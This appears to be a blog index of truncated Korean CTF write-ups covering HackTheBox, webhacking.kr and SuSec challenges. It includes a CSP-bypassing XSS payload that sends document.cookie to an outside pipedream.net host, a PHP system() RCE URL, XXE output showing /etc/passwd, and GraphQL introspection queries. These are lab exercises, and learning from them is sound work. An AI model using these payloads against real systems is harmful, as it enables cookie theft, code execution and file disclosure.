HackTheBox Heist write-up

타겟 분석 $ nmap -A -T4 10.129.23.138 Nmap scan report for 10.129.23.138 Host is up (0.19s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested ..

webhacking.kr slipping beauty write-up

오늘 기계학습 시험을 봤는데 너무 망쳐서 그냥 웹해킹이나 더 공부하려고 webhacking.kr 문제를 풀었다. highlight_file() 을 통해 소스가 제공되는 문제이다. 한눈에 봐도 Attack Surface가 2가지 정도 보인다. File Upload 기능과 PHP Zip wrapper를 통한 file read 기능이 그것이다. 1 트. 일단 이 공격을 ZIP Slipping 이라고 했던 것 같은데, symbolic linked file을 zip하여 arbitrary file read까지 할 수 있다는 사실을 알고 있는 상태였다. + TMI ) 고등학교 1학년 때 BoB WEB CTF였나? 거기서 성준이형이 이 공격을 사용해 출제한 문제를 풀면서 알게됐던 공격이다. 이런 식으로도 공격이 되는구..

webhacking.kr NotSQL

GraphQL GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇지만 백엔드 개발자가 GraphQL 기능의 권한을 제대로 검사하지 않을 경우 Broken Authentication Control에 취약할 수 있다. Exploit. webhacking.kr:10012/view.php?query={__schema{types{name}}} webhacking.kr:10012/view.php?query=query {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDepr..

HackTheBox LoveTok write-up

문제에 접근하면 제일 처음 이런 화면을 볼 수 있다. 사실 문제 소스가 제공되는 문제이다. format을 입력하면 그에 맞는 포맷으로 시간을 리턴하는 간단한 웹페이지다. 하지만 포맷을 입력할 때 다음과 같은 코드를 사용한다. PHP에서는 string 안에서 변수에 접근하거나 함수를 실행할 수 있기 때문에 system() 함수를 실행할 수 있다. http://138.68.182.108:31769/?format={$_GET[0]($_GET[1])}&0=system&1=ls+-al+/;cat+/flagmKC78 끝이다.

webhacking.kr CHILD write-up

문제 분석 전형적인 XSS 문제이고, CSP를 우회하는 문제이다. 해당 문제의 HTTP Header를 보면 다음과 같다. script-src https://*.google.com/ 으로 되어있다. google의 서비스 중 하나를 찾아서 reflective한 값을 출력해주는 곳을 찾아야 하겠다. Exploit. ?inject=%3Cscript+src=%22https://accounts.google.com/o/oauth2/revoke?callback=(location.href=%27https://enl33h4vtg95t8o.m.pipedream.net/?c=%27%252bdocument.cookie);%22%3E%3C/script%3E 구글링을 조금 해보니까 callback을 통해 javascript cod..

HackTheBox baby website rick write-up

>>> pickletools.dis(b64decode(code)) 0: ( MARK 1: d DICT (MARK at 0) 2: p PUT 0 5: S STRING 'serum' 14: p PUT 1 17: c GLOBAL 'copy_reg _reconstructor' 42: p PUT 2 45: ( MARK 46: c GLOBAL '__main__ anti_pickle_serum' 74: p PUT 3 77: c GLOBAL '__builtin__ object' 97: p PUT 4 100: N NONE 101: t TUPLE (MARK at 45) 102: p PUT 5 105: R REDUCE 106: p PUT 6 109: s SETITEM 110: . STOP highest protocol am..

HackTheBox baby breaking grad write-up

오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 취약점 분석 1트 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다. Javascript Prototype Pollution으로 푸는 문제인가 싶어서 includes에서 취약점이 있다고 가정하고 계속 삽질했다. 출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다. 2트 /api/ca..

HackTheBox baby todo or not todo write-up

소스가 제공되는 문제이다. Python Flask로 구동된다. Broken Authentication 문제이며 고등학생 때는 이런 문제를 보면 더러운 문제라고 욕했지만, 실제로 회사에서 진행했던 펜테스팅 프로젝트에서 Broken Authentication 상태의 웹 서비스를 많이 볼 수 봐서 그런지 이 문제에 공감이 많이 되었다. 소스분석 /challenge/application/blueprints/routes.py 에 들어가보면 URL에 매핑된 코드들을 볼 수 있다. TODO를 봐도 알 수 있지만 딱봐도 아무런 인증 구현없이 모든 todo objects를 뿌리는 걸 볼 수 있다. 여기에 접속했더니 flag가 있다. 익스플로잇. 139.59.178.146:30794/api/list/all/?secret=..

HackTheBox baby WAFfles order write-up

이 문제는 소스코드가 제공되는 줄 모르고 계속 삽질하다가 포기했었다. 근데 다시 보니까 소스코드가 있었고, 한 3분만에 풀었다. 소스 분석 문제에서 제공된 index.php 의 소스코드는 아래와 같다. asdf&internal; asdf 아래와 같은 Response를 받았다. Your asdfroot:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutd..

SuSec CTF 2020 'Roll dice' write-up

CTF 도중에는 어떻게 푸는지 정말 감을 못잡아서 결국엔 끝날 때까지 못풀었는데, CTF가 끝나고 Defenit 팀에서 어떻게 푸는 문제인지 알려주어서 나중에야 풀 수 있었다. 해당 문제에서는 소스를 제공해주는데, Python 이기도 하고 무엇보다 eval() 을 통해서 사용자로부터 입력된 표현식을 실행시키는 방식이기 때문에 Python Jail임을 확신했다. I couldn't solve this challenge during the CTF, but I resolved later with the help of the Defenit team. Thanks to team Defenit. I was sure that it is a sort of 'Python Jail' because of eval() fun..